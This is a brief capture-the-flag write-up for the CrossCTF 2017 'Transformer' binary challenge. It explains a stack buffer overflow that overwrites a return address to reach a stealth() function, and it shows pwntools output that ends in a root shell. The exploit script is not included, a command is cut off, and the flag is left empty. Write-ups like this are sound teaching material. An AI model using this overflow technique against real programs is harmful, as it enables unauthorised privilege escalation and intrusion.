CrossCTF_2017: Transformer

Category: Binary Points: 100 Description: File here


This is a really simple one and is easily defeated by nopping most parts of the binary. In this case, we can exploit this by buffer overflowing word 1 with 256 bytes of maximum bytes, followed by 4 bytes of junk, followed by 4 bytes of pointer pointing to stealth().

This can be automated with pwntools and Python

$ ./ 
[*] '/root/repos/crossctf_2017_writeup/finals/transformer_100/transformer'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting program './transformer': Done
[ERROR] Neither 'qemu-i386' nor 'qemu-i386-static' are available
[+] Are we r00ted?
[*] Switching to interactive mode
uid=0(root) gid=0(root) groups=0(root)
$ cat flag.txt

Therefore, the flag is ``.